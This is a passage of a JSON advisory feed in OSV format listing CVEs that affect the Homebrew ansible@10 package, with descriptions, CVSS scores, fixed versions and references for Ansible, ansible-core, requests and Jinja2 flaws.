":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-1.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-3447","published":"2026-08-13T16:35:22Z","modified":"2026-08-13T16:35:22Z","upstream":["PYSEC-2021-107","CVE-2021-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-2pfh-q76x-gwvm","CVE-2021-3583","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Input Validation and Command Injection in Ansible","details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/74960"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2pfh-q76x-gwvm"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-358.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-4r65-35qq-ch8j","CVE-2021-3620","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses sensitive information in traceback error message","details":"Ansible is an IT automation system that handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. A flaw was found in Ansible Engine's ansible-connection module where sensitive information, such as the Ansible user credentials, is disclosed by default in the traceback error message when Ansible receives an unexpected response from `set_options`. The highest threat from this vulnerability is confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3620"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3871"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3872"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4703"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4750"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2021-3620"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4r65-35qq-ch8j"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2022-164.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cpx3-93w7-457x","CVE-2022-3697","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks password to logs","details":"A flaw was found in Ansible in the amazon.aws collection when using the `tower_callback` parameter from the `amazon.aws.ec2_instance` module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"WEB","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/35749"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/main/6/CHANGELOG-v6.rst"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2023-4237","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2023-5764","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-7j69-qfc3-2fq9","CVE-2023-5764","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible template injection vulnerability","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"},{"type":"WEB","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-0690","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-h24r-m9qc-pvpg","CVE-2024-0690","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core information disclosure flaw","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the `ANSIBLE_NO_LOG` configuration in some scenarios. It was discovered that information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/82565"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6935c8e303440addd3871ecf8e04bde61080b032"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/78db3a3de6b40fb52d216685ae7cb903c609c3e1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b9a03bbf5a63459468baf8895ff74a62e9be4532"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/beb04bc2642c208447c5a936f94310528a1946b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible-core/PYSEC-2024-36.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20250117-0001"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-11079","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-99w6-3xph-cx78","CVE-2024-11079","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.7rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-Core vulnerable to content protections bypass","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84299"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84339"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2936b80dbbc7efb889934aeec80f6142c10266ce"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/70e83e72b43e05e57eb42a6d52d01a4d9768f510"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/98774d15d7748ebaaaf2e83942cc7e8d39f7280e"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.18.1/changelogs/CHANGELOG-v2.18.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-47081","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:53:03Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-56201","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T18:48:29Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-56326","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T18:48:29Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-8775","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jpxc-vmjf-9fcj","CVE-2024-8775","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem